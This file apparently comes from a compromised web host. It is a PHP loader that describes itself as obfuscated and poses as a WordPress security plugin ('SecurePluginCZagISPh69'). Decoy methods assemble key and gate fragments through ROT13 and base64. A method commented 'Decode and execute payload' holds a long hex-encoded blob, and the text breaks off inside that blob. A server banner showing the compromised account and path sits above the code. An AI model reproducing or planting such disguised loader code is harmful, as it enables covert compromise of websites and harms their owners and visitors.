|
Server : LiteSpeed System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : nandedex ( 1060) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/nandedex/.cagefs/tmp/ |
<?php /* Legacy-Compatible Obfuscated Loader - ID:4899043 */
/*
Version: 3.6.57
Description: Enhanced security module
Plugin Name: SecurePluginCZagISPh69
*/
class LoaderJojIQL61475 {
private function gtMlFHod84() {
// Gate piece 3
$jv2 = unpack('L', hash('crc32', microtime(), true));
return str_rot13('czb9');
}
private function kmzahByZ15() {
// Key segment 2
$jv1 = (bool)mt_rand(0,1);
for($jv2=0; $jv2<1; $jv2++) {}
return base64_decode('dGU=');
}
public function pubUJGaf30() {
// Public method 2
for($jv3=0; $jv3<1; $jv3++) {}
$buf = (bool)mt_rand(0,1);
return 'valroTy87';
}
private function gthhymby21() {
// Gate piece 2
if (90 > 50) {
$jv1 = 'branch_a';
} else {
$jv1 = 'branch_b';
}
return str_rot13('ktpry');
}
private function dcPxQFgP78() {
if (72 > 50) {
$jv1 = 'branch_a';
} else {
$jv1 = 'branch_b';
}
// cmtrozp49
return null;
}
public static function init255() {
// Decode and execute payload
$hex_data = 'cEpYSHzwa5fd5d93eac6bee68b7ea075b1a5e851bbab2e33210555b60089a14470075536ec8576434c380ded4f7f9edfa3f25af63cb33bbae344cc08873dc7a80229f3fffabc7ca645f74bfbf57375bc2cd6d3ea509fce39b5f74dfd7876bf9ce2fa97d3a58f61d72e8bf38fc969d12c4ff76e5d7dbccdcac5b43bdfea5d795fb4f978c89bc5e1e77f393d96faf3d5f39e7e7984c3a43876b3e3e7678ccf7e792cbbeaf4d5ff72ba7da5e6d6d5c76d93e24b9b7f9eb729e6afba3bffdf31beb5bbeefcdf42ace2afcde33c69be7e2e8e9fff254ee26fd5ff08f5e4ac3ff9f3b5ad1ed5571dbe966db7ddefcf5fd3fc5f8ebf7dce16ff164f2ff9d778d5f729f3f2f198fdf2b33aaed6dbdfbbee32db97f76efedf8eddefc5d0554dfcfaa53986507dac7f397ef6fabe07fdfe9fa97d39ff1adea7bf74cdf4ab88fff1e7dbfcae7fee0eedcf9c7fd173a9da7bbb0acf2efff5ff7f84759b2fd5a1187e69bbcff4753eaf0ee5fb5ffe3effdc85fa34749beafde7aabde5c9b3fa0ce1f4b3ffebcf79b65d882ff3e5fff6dfbffff3dfffb7fffcf31fb3e5a988d5f3d1fd1a8bd9f2180fbf94a7b9bec6cf3ade7eab72f7b59b2dfcf7deffdfc5f8f79ee7d934b4fe9ee1f1b55fc5e26b727a74cb58a45fd61f7f2c8ff72a9797afdf9f1f7ff93def87cf74fe8373a2bfffa5f7d7fe5e9efefaff378bf66dd676afddea749bc570ffc7b209dbd47ecdbe1ec759f55c2c426872952f3f7f79debe2655b7fdfdf1a8abf6e5b07c3c3f9be1c7cfcf62f819ab97cde7e3ba0df9a5fd2dc5af9fe9fc6ffff97cceb310763a375f5d75dccd42bc1d5257cfbf8a9798dbd7e9c7f9e5ebcfe7349b1fc7bfd77ccc16a7579df7cf6ed93ef6f1b8e35c75d3d3db3d3ecfe75fd6eff5bea8bedae6afbf6738ac878fff6b798a9ce79ff5f1b14ff97d96bbff7c4f4d7b9a1ccec347db7ced7f7d1cfbe970f9998a976ddb5ef3afa1fa6c4ed56c555d67fa5eba0741f7a50c8b63a3e375dbfefe2c66297e7e7d0d1ffff23dae9ae33ca4268450b4f15436cb73f533fccca7edffd9f7ab3f9a62fb4b1baaddffdef79bffff7cbfc4f7abc2af3fb7b3c9715b1d923e478c3fabc98f761eb6b343f19f9fe72ff723eecfffcbfbf1db2ff9faffcffdf8177fff7fef7efcabe71a4fa797ff93e7ba3c7dd5cbe325ea5cffa33edece31eef6e98f72d155976615b64da86eddc7f77d1b7f7f71f8fd8fdb213ebee6bf14e776de121fc7fbb6781cf7a17d697fed86cfc5cfebf9f7f2b99fe773a79fb3abda85cecb6dab9ff7d7f3ff15caf7cfc5e9320f61fbf9db1fdb3fde27bbfffe1bdfe7f1f5f3b7a9827cf5b1faeb7bfc7e2ffbe9a49c2f4fa5cee5eeebd778defa7eea9e4e8e71fe5bca5dae6effe2ef3d746f4bee595bb5e54cf17e1f86eb334c8e3f7ec9fff2cff7d3b6e87eabbacde68fdd73fef3f147fbf3edbfcefec7b3fb9856c7eadf5f9f9b5c6eb659afaf78fcdcfdf53935af7f3d9f4d6adf5208af5f133dffedf91c26e163bd3876dc9fbffdde696cbaafa2e0ff77bc09d5fbc776d0f9792eb6bf86e73f9f7bff73717ceb7eb6f7f9afe1a16bb5fbc76cf238ae86dc2c8fb718867cfd3a479dbfeab34ec3cff7106775bc2fdb9fd5e197a3ae45fb3ce83dea3e7f397eea1cec7e7d6c15efe2e2f7873feffeb7ea6f7173cc47cfafa0bcb8ff9f9fd3f7e697479396a7f6ab7e3cfee1f75f7cdfbfe6912793f2a7cef13f26f12bacfe7ddb280ee7bf7feffb7fff2d3e66d32a5ffff65cdb76fa2b475ee7f33f7ffe73dbe6ee7d1bcf9f557efff97bf1a52f561187ffe93ebfce43fcfafdefbfe7477728e2dfeea5f277af3caefbf4d7f7f6f50fc5c5a002e2afe777adfc7dd07bf96c9addeed73fb6eba9ea83ff88837a1ee3cf3da714e37671bcfe2d3ffdfa7c6ce6b1edab3f5e16ddbfce4fe73fff1ecf69f1d8366d57ffed5c4d1f4df57bd976f95c5787fcb7f8fbb5d43decbabadb7643ccf99feff1dfff7e738ab395bef7745de6bfbfef8f0fdd836d75fafcdffdfb9b7ffefb7f3ddf7f9e9b36e7c9ead8eda6cdc7ffd80dd79fffbbf12a1c77ff6d72ecd6ef4dad78fe2ff3c01fab53d1eaef7f29aeb5ba39fffcbce67cde9f6d3cd4217f4dc2ee1fbf368a5bf9923ecbd3dfcfcbf3d6a6e66ba63a6b9e9aa83fa7349ed2e76f553149b16a94cfbfcfcdf9e3f05ffe9775daef93c9f5bfd6d3709e17dbf0afebb4a1fd389f753ef36e79fc0cffe23dfb73eb5ece56a7f00f3dc789e2dd3c54d7f6e379de4e4ebb5675c39efcfc5b38ed63f9ec3f9bf2e7cf7f8a83ff91e7dba8bcfe9c746be58de3e510dacfcfdfa6f51fefc5c77df2ffbc2e567f7c7d563f1f8f5f53fdf3ff24afafbaf8fbff24ffc495425b1cfef65cb817a97e9ef7f32e4cfee57359ffc7dfdbe9f77e4e4edbeeb059fc53fe3c29007fe45f953fe79392b8aacf143effacdbeae331a97e54dc093b9ecff294d2a41d3fef3aab6e2b7ee4751bb6abd435ebf6f3a7e2e5ffe41c0c3f93e2f03214e52f292dfee39cff8b7bae7a4ef134f48a57b16e2e611acbbdf356d8d6fbfcf6f9cf796d3d14dd4cf986f7f83b79347fb41ffaf734d6a7791e5f0eab63f9f7fa54f5e6f2c4ef39b97e98addfffef8fe3e9e7ae7c6c42f7d5ec8e37a5eb6dbd1b6e39b4ed66575ed63135b3fde3d6285e2c96cdbd56a3542fcbaaea4e5fed721852488a23655985a29e1df22974e72eedca17d58af57c5f3d327fef505549697dbe1a8a1cd2d77a1f5e9bae6837ab706c63ac17eacbda3e35d3ddf135c7e7a25f85531dcfef69558526b4bb7edf5c17bd1ed32adf74a0ebe92a9fb34ec164393c367ddce5fdf13a51fad9a8ff9a77ddbddd0daf6de852d4f75ae7e27371681eebf8acabfdf1b8e9d4d91c9aa289e94b7fbe6842d754abfca3d7df6f978fb759f7fc6a56c793ae4d98aec2db24a6c5e6105ed72136d343738da1d835fbe13aedd255cfe787e279d0cf3f36f9f419774339ed9efa1cfafdfa1eeb7d536cba73db1e8eafeb7cd2f70caf7d282e53fdfc452cda66952f6d4cb9df3f2eeb9ce27a75bce9f3367195dff473bedafd504d43fa68960f7d6f0514fdfba23bed36abac7f7936f53e3cda4ea9e9707c9bebf94f76c3cb44a965baaae242cf9fe7a93ff719f7fcffcf56cffda1df7fcfcbe3631dd26dbacc3fd65929ef50e9fba5aedae9fc74f153cfa39a76ede754ef6fdda72e1ec223ebefe755d039d073590efade31e9ff1f66f1d9367a0fad52e9d4dfb788fcb94d77dacef77abf7ddbe8bf3ff53dd262a7f7c4f35935af6bfdf7c93ef35e3e17cbe3db34a6bb3edf6513f5bd75ce621f95ab07e5b953d5ec73a1cf7153fcd7e7e39c0cd7149edbb86caefadeb11dbf5f503e79d6fa5c7a4ea1e5392cf5be7311fbbddeaf7ecf6c39bc4dfb76c7fbe8d54de8efebbcc746e7f355e74fcfa3d4fb8831ef1bbda7b8d5dfbfe5ee9916cb87ce939e87bed79a82625f3d534c177dafe3ba8bd55ae7661a9fbb8dce959ecb36e9fde8cff1feaef32eeafd87bb3ee7e794f3a173c5f7d8c4745deb3ceb1ceed6bbc773a1fbb6d6735c77a7b85ee6177dbf2ffd53bfefd4c4dde335e754ad57d5db54e739ae8ed7909f6daff39cf57bf2aa7aa94351b5ba5f0ddf6f773cb6947ebc577d4fbdaff38673b71fcaa0dfd3ebdcadf5a2fba5ce59d4b9d7f9d73dd0f7d47f8f7a8e872ae9fde839e6e7bceff25af748e7b9d27d795b84a7ee41e63d55fa3dd7b9fed91f829e7bd1cdf7c333c653a5f355e85c717feef3dc7ee9fbdda77dfa9caf783ea7b65f3ef4f30a7dae7c69749ef5fc140fce8bf561f8a18fa52499833edfad3a0c6f8beeacbfa79f179429f57c151fbe36fbe165d6b73a5ff914b3e21fe7ba6b43d27352bcbaebdf5f73e0bde83df47a4fab41fffdbccbcbc7bdee14aa0f7958744fde5bd177c587eeb3ce61fcdae8bee89ec766f7b834ba4fd325e7b44b936519d69de2c4be3a726e754e9e3a6f5bfddcd38cefa3f33dd7390aab7c0dbddef77238553a37f3a5debfcee17c379c7b9d4fbdb7d7dc9dead9bed139509c5b3e8e4da7abba1caa4a75a6debf9e6bca8a3fba27294dfd7e8abbdefba5cde745bf2bf59c8817a150bc6edb5d7955dcbde6bdde4f28f4731a9fafb8ccd54ce735f0bef2a999f97be87bfbf725ddd3709ac6b37e4fb810d7d22194b33ee9fdeafde8bd4f0fd58f467f5e712ce8bd07c5f11f5985fe7aff788be1a9f7c03928c2fc702c7aee9bceadf2c54ee7f059ebb910a737512dcb923f9fee9befcfa1e7f30ca15bac57a1d0bdd2733eea7b24ddcbf23e571fa9efaff7aafbad9faf7b1ce68e13dd4dffe45e7c2a1edc14d7bb5a79437924b6cbfcdaeafc344b9d17de9fcea1e24c3d593565e27ceafce9f7ebfe35c4bb30d7bd0ae3f3fcd174ed8e383feb8adcec8f3a1729cdf643d18e79ed3ad3399fe879067dee85e2aace7dbb390ce7363f1b9db3abe2779a1c9abbde6350bc7c99937f786e91f8dbbc122f75bf8f4d3c294f9157cf79bd2c1db7757f4eba37cad4a5bebfeee3b239cd43fba57cc89f6bf5dc1fe4a766d95c7afea9e79463fcd47957bc29141f9477f466748faba863a0f7766cbb73d6f7251f10c74e9390ae59f741ef51cf63488a677a5ee565a3f71d0e833e6fc7fdabf4faf4e7950fb3f2f2f2a8ef7556bee0dc168b5e7f4ef756f1817892ba09f136abffd887abde33f72186a07cbcafce7a2ff78638d59d74fe884fe95df743cf3d6e2b3f77f244a37c7a0a81cfa538aef7ae385de8fd2aef85a2a91597f579d382fb1f8b867bdffaf70c47fe5ca5f8d1ebf34d9467f47d2be589b72a47e563e2b2e2ee5ef744efb5dd67c5c36748cba3e26aeae63a7fd175c4f1b2c9cf45435ee75cec433951c144beac74aef3fea1b895eefd6a78ce7254fc7ca8be505e5afade3573e24c3cc58df296cebdf248789bab249d2df375a67fdfecf9f7e2ab39f05ccfefaa93ae93ac78b8e779ebe71e5c173441f581defb8efbb4d07351fc55bdd5bdab9ee1732b1faadeea9ecd625fe91e153b9df3177dce3aae2ad501dd67bd6a2eba6f5f79a938d6770be5df4bcedd7d7d507eee4e8a1bc37d918baf5ef9bbf1f71c6eba67b7a078d7f65d37df1d755fe376b22f7fe81ee95c0daa7b3ac569c5db58d4e1905fa65d6ce2f2a1dfd3e58dde53df9d6b9dfb7badb8b3590d3f942f733e34cf85c265adf7949577b2f3e7f956ef8fea13142f0ed5a9d2f9cefaf36bd57fb37df9547da87c1ede2a9d975e9f4379a08be459d581d4197acf51f158ef87fc542a1fa476a3e7d0282eccf51ef4f1b7953f77dcf507e7d1aceff7923abda743f5461e553c3e453fbf07f9587128731ef5ff1ff57bf5fb768a576a8c82ebc274d7e7e139e9393e143fbb2fc5d517e5737d8eeaa47f8f8deeb3eab82fc589b7ba2bb6aa171ed4358a27b78df290de3f71bb99ebfb4e791fd42bbed7bcc7eea23c7a9fea3ce9fc3d6357508fdd957f92ea814aad50ee39ff7a6ff5f2f8ba51bd1c74df36e4917d554e9dcfaaa47e49cfa129ab2e7d8c71be509da97fe6ae9b1df8fbe77bbf3cf279c9bbba1fbaeffb8a3aca9f4fff7fa77bfdacf4bde7ae5fa2cef150a6aee8a6c433fd7ec53fd5874feaf8a03a99fab5ac72fa503dadf770527d5caa9e484dbd7b106fb6e497a8fe56cff1e9fa43e75d717297f5fce631057d0fdd57d50dabaa9c283ee97ee8fc9f767aaf6f29b4aaf39bbbf2c867d8ebf28522e91e2a7eb7d437afd42169ffe09c2ea873d69df2a7e2a0ee61d5ee3977aae7563ae78a0f73fdbdd03d953fc8dfed42fdc0457128faf376e7d8eb1eab8f0853ea7f7e8ff29df2b3be9f7e9ff26fa39f330f8e7f77f5359f33fdb996fa9b73a096a6721c2992eec94bec38f7e1a1f3a07a27e87d26e571f503dc47f52d51f5f466997598cf77c527c5af4e75bbf220f757f598ea9bdd66f950fdda3a6eea7c7473c7175d24cebfea9899fba7f8591faaa8f346fe79cec69fc3f7e1fca88f6af57cc933aa471507557729afea79eaf3d7ab7c9f280e13473751f96bf9382da83ff63ec7ea3b54372a9fa89f3bf6aa235bee612e2a7d2ffa17dd57e51df559aa7b54dfa54fbdc7fb44ef654ebd9aa997c8bf9c13fdde7c52de1ade54577e296eeafc3e75aee83f54e7a8bf505d779b2b2ee97bb53ab7bae7a7361f8eaa3bc8ffd43d1df56ec8f11c150775ffa3e2fd51e7567dcf8afc13b7f383e224f762592a4ea68bfac587fac72ad34fea3dad55a746dd4f7dee579d37dde37250dd7453bcd43d3edf92f286eef7767618a8a338b7afee4f56cd53f988fb4d7fa3b8525d27ba77ea43ae55a61e555e713cc98aa767d505997ca4ba385c633e2b8e3f780e21ec7d6e5ace9d9e9bfa47f519f97c89dccfa87a625f159c63c5c7a87a83ef471f181b9db7185d5fdcd54fde751f39dfba9f8de2496cf9f79e3a54f9b255dfad3cf89ce456e7477500f58ffa20c5bb46fdf00fc59f453ed0bfa55429be46e515c5e78bcedf557fee65aefbabb8745d64e25afe91fb443ff7a6ee4ef560a9f852d4ca37fa32f15379fe48de5ea8be557da33a49a7258ffd5456fda373542e78de7abfaa27ea5a7590ea09c511f274a7fa7ad0bd220f358f8dbf772e17babdd4238a6bcd9c7ba5be4571fa413fa07ef6adeee342f5b8ce47d2cf3d5237459ee32c923703f1857e96dffb9956417d5591aa43f936ce211ae225f1eeac3c1116cbb252dd52ebb9aa3ed0f33d3ceed457ca0fcaf35dc379cc7dac148f54f770ff8638d739a13e551ce8549f3d757ea82b4ef4cd8deb1edd1bdddb492c3e17fb63a9faa809fb417948e75df15075aa3eff70f5733a385fabceccfa73ee3f14a74fb5eaa0abdff34afd6a4fff3c04c5d36e41fcd5b9eb57d56b93c9ff7a4faa4be9ff674a3ffa1e0a8229ea9e5d889f7a3e654d7c3ea8fe551fa5bef6451748ef51ffbfde8bea49f5df3cb7aa545d5dd3af284e7513febe9ee37c5f0ef4c97a9f0ff74907e58b5ef994fe4c0758f54ae17b7608aa8f4fcc7f88d7cc032e4d6e63561da37ea2d2fb535dd13661a7fbacabb1f69ca08dd4c1aa37a943f85cca63e54d758fe281ee5def7a44f790f992fa79dd579ddb427163a7f875d379a8d6bc17f2e18a3faf0a9e7a371699f3a17c4ede737c523cd5f92b94df1be5d973a7e776e47b2b9edd546f04f53d6fd3eedc90377aeac9653e2d741fd56ffd18f39bce999e47a22ece7a0eaa97f4b9898fcaef49f736bfc58efba07abce3fe0fafbdebc1ccdc6941ffaecf4f1f5a2a3ee87be972a9aed1397ca9bb53b5e17304fac1ac24af73afba5f79fb33ed5c07eafc1da9633ff5fc8807f4dff7a4e7bd18eb8dcb42f775eab94ba57ae6ac7337a8bd2cf439150f3ae5ab95fa21fa38d577fabc69e1faa7cbeafb53df7bcef59c3367a02fd7fb62aea1baa505a730a7aede0deaf7237d24ffaeb898037948ef5171547df5927a401f9d3947d673575e99e5d3567981faae8b87c749f77cbbd8d11f2b3fae88834fe2e083fa607e684ee4e95af572a3df573347ebd3671cefb1fefef1c13c453f97fa5f794f9f87b8a8fbaab8a67a5a7147e7bf3a704e8b2dbf4f75c4bde15ce93c295e5595be5fabba56f55c93741f75ff999bbc2cb2eab043b8126f27ee5f75bfa81f1819ec06d5238a87fefee7db947e30147a9ee13e63bcbc579f928bed74fc799fea3be89b73dea9aecd7c3ee660fedca1571e8f3a37e43df5953a17ed42e73d2a8faaef711d441c509dabdfbbafdee82b32738f50dcd54729de148a2b8a13bdf2f1ee41bd1c95cfa2ce09715e7558d4e7389681b8aafa42fd28f339ea919cd55f2b2ebc733f27c4c925f349bd17d513f4c53d75bcfe3dad06e5799d57f549aa8b5ad5b5970d7145f55bad78aef7c4fcacae95ff66badfeb83fa6ee74f3d87bead363cdf9caefa3c77d5abb7481fae3c3a5f3677f54d4d749f7ceed4d79c668ac3ea63757e0bfa8357eee7e2a0fa49717ebd2fd52f27fa24d56bdd2551cfa82f614edc10ef74dfd5dfa84ecfaa2754d7526fb8ef671ea97ca0f7aa7c4a5c2e67ea1b02fd99f27fefb98fe285eaee3e9f750f8ef449ccd5d43fa98f579c505e521dabf31a0bf5b3aa5b5467854350bc38d3df908f9893a91e7e323756bc397f6d76037530f1eb87eed997ea23ea06e280fa8793ea54d7375ff42bd3be55dda87c1975cf960f35f74fe2f595f9cd66e9fabca34e8ecaaff457aabf959782fa0415caea4b667d479cd0794ffafbd453cf4fd59d177f7ee65339d107be316f5daf8eca23517520f3d2b39e87e710dbdafd41abf8a0bf471da3efa3bcd732dfda30c73ae438535cd73d7f513c50dfe7feeba2f8c3bc655b1fe8c79f3ad7d5c07c47ef953aa4228fe93d87859e7be07d526fe63373d2e72c9e93ead41f8e2307f7ed7a2eaaffe8e755e7ac9957296e280f2b4ee8bef5e9423d1dd42feb3eeafc14614e5dd88d7d7ac5f95d05e66cd43f3ff4e7a9eb752ec97fea033273b39cf47ef85e2f13cfcd556747d767baa4dd45bf4779d9efa352dfa5e71d546f2befb06f50fda67ae0d57df09279bdf203e743713ce8ffdf702fc7b92ff3eb933ecd76b12f99cfabee6894ff389f037f8eb9de6bef7a98bcaabcb77cdcf51ec9db3a5fce63273daff778201f9ff5e7149f99abea792a2ee9f3eafb47d5998af39179e2ae549f93de93ee8de2f787f291f2d4f936535da6fb19553fbecdd92bac72b550dfa0baeda8e7cdbf2b1ee81e2ca90fcea156fda7b89b66ab50cef5f3745f7fb037610fa3dfab7cafbaa0ef2e53fe1c7df18efe45f9e870549d923e27faf98a337afe8a3bf1fcd15207d0d7515f87b12e529da878a4fab2f73c5975cc5379549f4375b2f252521d1712f745ef2f33cf641eb61bce8aef1d7559dd9d154f14af94d7742e99d3eabfabcfc89e7fd3d7ed36e49778da263da739efd7f3b696b9b6eaf4ae6a5695ea80e2ab51fe9ae5f335931733fb9232284f7fd1d733878eccbf327b17fdbbdeb7f2f08be2ee36b97fd33d55dfacefcb5e8afe69a7e7aee7eb3dcf8dfca03c55aa4fd039525c203eae2ace2d7dde7dae73b2e0bde9ffaf75bf5497aaee5773a0ff25d5bfea3b94ef383f3a97f419dd799cff73be97a5fab4f89994ef14a52be6983a87ea33d95ba9af54bceed517397f30873950b714dd64c79e83df5fde548791b7af8a3f5fcc29f47bef9c1bfd5ee2bafa69d57b63bda2fa87bee4f939677fd37555ef7dd849ef31ebefb53bf2dfd4f19a796b77555d461f562b4e530f5f742ee92b15af1ed45751f1f594d41f2bff0d8b71dea0feb8a82bbdf746f5a43ef7dd7978c5fea6533ee4feb02f18b81715f9a189e70b7142fd21fb884af57333212e741dfba45bcf5e6a4fffabfe79f97825be13c726ea7fb2dedf24aa5e61bee63e469fb32b3eebdd83b9b6ea10d5758acb13ea8b2ea66a5505f59daa2bd5bfe7427511cfafdbd6f4536ad92bdd8f2971caef81b90179be70bc507d1b540fa88f569d7028d52fab2552bfad7e2cf6f457cac71bfdfe097967a5fbaafe5a714c7d4b1be8c79937a84e79aabf543f459f5ca86f3b166b3d7fbd47cf97f2817e95799ffe7b54fc650eabbe5e75257db57eaffaaa405f98758f7c3e5e999ba99e8cea933fd50f311fbf6ec8dfaa7714c7b947fa3e8fe74c75abe25fa9b84d1c577fe13c73525fa8fcc8fc3229ff56493ff743e77aa8f5bd67d4dff15cb3bfd3bdd67b6cc897caff997af3b6d073cce35ee1c2f9575f74555c614eaffa4cef63491da7fc7218540f9fd94b1c37e33dd07988aacfaaa7e2cd3bfd74a5ba4171e3c1bc4c7d4a350d9dfa25cf25943f1afdb3e3de1d7be29afb0ae67eca83aa2774de93e3e6fea8c315939e47685487352b9a73e57dd51f33fd1cc50fc531e5bd83ebbadd9abd6ce73872cbf4773bf2c5392bbf97f49b517984fb3b593e4e41efc97d73a77cb77bbc39deaaeeaf144f548f31dfa3ef54fc39df759f06f589aa2bc94bcf66ca5e39175dbd7fd09f29bf0d9ee3cc56cdb5521ddf32170ee93d30efd0bde2f74fc84bfaf79a3da3f269709d429e565dc03c8cf9a9de83ea4ff543eacf62e23c29ee9f988bb157d9f27b2be6e4bb52e7e6491c38d37fb157cc9e7305f5f391b9ef557d833ea7ebfb1d7350d5573a2fbe2fba4fc330515c9b523f07ea3be229e79cb85fdc5447dea94ba997757e549f939fce97b02fafc9fb159d9f8e79f7a0f812eba0b83fcb9dea1ffa9f14a607d5298a2b49f587de9bea7df5a7eca5f43e394ff3e59f7b8e23e736a9bfd6f7a36fac887fec430a3d87541d3273ca4671e6ca7c54e75d7fae88cc1d7bdd53d507a75af75f7d46acbae283fa6812d8b7b30f56ddc73cd7f3233fcf9b7e8feaf0a83aa6bad7f1547fefa5b653d58db9ebdc0fe87ce5dee72abd2fbcffe854ef0d37c529bd87ef3caafb31eef9955fd91f53dfb08fd0f7517ebecdc7fe4f9f23b0e7ad67bbc7b3caec73a9c353a3f89e3681bd347d327551c91e35cd3d2feca81bcae839abf757bbcc7b0ecc511ed4d19f7ade8a4baa47143f92f7590f7011ef7a4eaa47d5d753c7b387d0cf573df8d1e8ff6f74bf364bcf0b541f96973eb3ff18a8b7b7aa2bd89767d5c7ccf355971cc778a7fba273ecbcaffbaa78cd9cad53dccb3c0fdeebabf70eec6df49e6af54989b9b1e28fee9bf735ee9fd5e7e8fedc3d77a1afdf95c9f538f94cf565b57c102754e710d7227585faa9ee23f31e2371b2ac16d4797be297f2d692bcd836aae398a7de3763bffb19a9b362da06e243a77a743fb007555e389eaa58e8791cf5ef91fb43dfa03a55e79c39007331f53f13f6287c8f95de6bdf7da9bfa30edaeabe9ed759fd3f736cc5fd7ec4896ce7cae31bf2c541c186790bffdd7d7e75563fa6e7303047627fa97b031ee578ad95b754673e758fd567366f63dc632f5bd0bf280fab7e507fd7e8dcb2e7dc50f7525778ff409fc17b1d981732df8c4975ef44cfb1620fb75412521db6de51f7e9feec1e57e53fde177350f587ba871d7bfd07fba37b56bc9b320f723c3fb5cae3eafbbd573b3137afc07b846ecbde5bf75ef5e4f052813f39808f609fd6e8ef17c6eb8cf1a0545f475d1a2e8a438adbba777a3f0d7886cc7dc9f48b29a84e9d29bfaa2f3c2b4e6feb5575527cfa603fb7769fce7c993ab6642f11d48fa89f4aefaaa35ee84f26ec0782e28afbb827f348d5a791fde2897d43d0e7f19ceb509d6af6c987e192c973c605e9bcb087c8ec4b991733f7afd4f727e591527589eaaf55a33e4171e3009ea7e8947fa8bb146f8ed4198a4feefb74ef4af2cec57196fed17d077b3aea9196fd3d7b247057faf34fefc3796ee4457dcf6b4bfc64ffa49f47fc6ac6798aea32ce594b9f3c70bf27ecb1548a2b7e2b4e25e6faafba1faa13ca52e7977da7ee69f4efcbea4712f5a4e78be1a87b7aa9d9e3e92f2e74aef5e7d557063d279d4fe6caf9195bfd793dffd81e4af2bade0b7b99b3e2f2f01275ff6bf6017a9eca17d7145567e973e93dea73783f5cabde527c519fcef789caabaaeb1427beb8f735e7fcd0e87d83d351fdabbc5eed1fea7bceea57d5ef864efd507e61dfcabe43cf5f7f9fbd5cbacc77a5eaed62d18c38a74b453fa0f7a13f1ff49c42d8573a9fde13f34fc5cfb2d8806fd03d511dafbe9ab9c009bc00fd10f310bdef740b3be37bd857ab3febd477aa2e561ed3cf499becfa3bea3c538752efbf4f15bf43df292f0ece0f3c7fe26dbde49e296eb0ff509fdee8fcccc92bca1333f721257df787eab6abfa825a75efe07989fad745765f02eee993f9fbdcf7cde7e9f37b9fc77ea59c81db53bd30f55ea6d13deb94cfc1a7a87eddb9ce268eebfc25f6354f3ecffc70bc56f9a9e73d5cd5d729be37e0b63c4f56d9157bc5cd60dc81e74bb744fc5739bd765fc3b9cd83e700fb237831d5c5b9aa99b7a9ef8bf405c61f784f770daa936ae5fb85fa54f55fe00915b7f2b8e760cf16cfef0bbd37700fc4219dcbf1bf67f579ae478a9b3eef1bf38e397b77ea38d72ffaf783e29bfa6ccf479507327d76f69e5dfd929ee34ef92d2b0e2e877b727fab3cacfb66fc45a7be69c48fe97e28ee3087652e1e13fb2cf689ad9e03f39185cef32593cf0f1573ea46cf89bdf5a5521c507dd6281e734eb9e7e70df820fa8fa87e50f917fc6ba47e551daa7ef45981bb321e453f477943f559a8febc5faa6b36ec13941f7afa75e6acca23ba37e09454ffa8ce0cec71c043b4d451cfdaf7abe4bdf3fcf43c887b8a8fea13a7c6559c1bd58743a5f33b9e1bef75ca5af532f5d92ca7aa67ced2b7635f1574cf3c8f7cc6c6fb1cd577aa6ff5dfd38c79b79e83e2147312f00a2107d73fd413e48f97ca7351c5599d37fa79ddafc4fc487948f595e26e8861c63d8fcc534a7018ea6b06f5234ff60895e2adeab487f275f739513da83cabfea00137a6fb5ad127e99e578f9ef77ee07b749c6fd5d5aa3ff9fdccc3bee743ecbba2ea6a9d3bfa29eebff297faa343a65ed852afb4cc2174ae22fb85d570d5fd57bdaef7983be6488f3538cbbdc26c609f003e513f5f7f5ff1517d65f3b660cea03e5975cdae5f55e53c1b4ff923f7e096743fb2ceb7ced98c7d30f9b9638fad7e0a1ca9717005f3e427f8adb87b9413d583fa3ca7180acfb7984724f617ec31fd1c381fb9523da3fa57795171907e6ac11c7935449da31d73a8a4f336537e547c8c199c27f346dd4b70557c3ef007b325f5b8fa26c53bdd4bea88211207f45e666aa5e63adf0be6b38a1b95713fe15a67e33bc045e9fe57cca9a94fd8475e14ffd8e7a83ec82f937ca6ce631fab3fc75c54df83bca4ba4ce796be9e3ef255ef31eb3de97e512784e75ce777b6639f7f660e788a7e8f0d9f4f7973a07fff00ef477cd5b9505eec5c9f4dd8f7eabc04123df36ef5ab897979eebe94df799e17d59f97712e54dd99f345faeb78a62f56d15ddc22757957b0f7a842e05cf03ecef4499ebff49e4b3177573f42dd78c8f7487fa27a4acf4bfd5555a8ae696af689ca27153811ef7fe947227375f026aa778f0f7d8e100f397ce365c117e9e7800fe3b9572f33d5c17abff79855efaee84fd36762eea4efb130ee477597cecd42795a751771f83259324757dfb9e23c9f78dfa5be5fa37eee4a5db7507d35a7fed9397f06f5c5ca5705f39137e662baffc4fb6dc5dc8aba67459d7f066f1727f1b9a5ee50ddfac99c4079407d70282b3edfc17bebcbdcf52b7b939239ce85feb831aeabfaa1f7455d73623ea4df73535f09befc028eabf61e25aa1ee35e76ca63fa5e1d7ba7e39b22bce25c50dc273e19471c74ff75cf5c4f053dc78a7d92ced347bb7ca8aee3f334e0dab6e0026bf0837bf695f4d3c3c03c407996cfc77e417d17731bf685e073995b26ddfb87cefdb9057faa38ff5e7bdfe5b980eab64ee780bcadfa40e7689a796fbee7ca970f7dfff35d795efde659f5187b4fe24c666e0e0ef53a571ddbefab1fde8be9b986ce7323fad110c1edea3e27f0529d7138e03dd95f17ebdc8539f15075a5e214380f7d7fe5c9ae7b9faaae614ea27f521fe8dcf21e3af6699c4b7dcfe1a6f759ad8ddf57dfb9af5e2af615870cde963987ea97d455abea357bcf9d5fdcf72a9eb18f53dfaefb726ec94fecf9e278af83ef6950de77fdadbcaef3c9e758ac82f19553cfb1531d8ca36a6bd75f193c74a07f496969bc609d14f775eff5be1f77f65333d521dcefa0fb5fe574cde0e1d99711d7898feeb3f43cc9f37a4e3a57f49fbadf0ff053b7a87ba63a943c0a6e86bda6e24951e9de9e82716aaadbc0392f55e7b067d47bd5ffaffea33caf3d7f68981fbd2f9c8f4e4de21ee72775faeba66f559fb0d77f86dafd14f8b8fcc2fc1d7c94fa16d5c10fe60e3575077524e7547fee36f57ee6599327f5e778bffc3dcefd51752ff89063cfbc823d23b88043c5deb055de277e2bde04e6498a9355ea99d32d893fe0145c77805fbe2ebc3faa5e12fba3dd40fcbf6efcdec1e10e95ce1ff8f2a3f1fd7c4fd59badcf137b05d51d9978cbf365df94dfa67d0257adfcc53c4efd0ae79afd5654a8f31eae602ea9e751a86e3e324752fe6eee73e6cdab0a1c9aeabb0c7e5b3f477d789fb2faa63266e3184e73e6683bcf0f3d5f9fe9be2aff9d5bc58f1abc93f7919cefa4fbc55c181c3cf315cfb7541fb4a9563cd30331be8ab9097340c5e5f799ee430fde7defbd1ae7907a5d75bcea7ff53dd33df86cef3b744f4f7c8e87f3a5febebe87fad7527597f2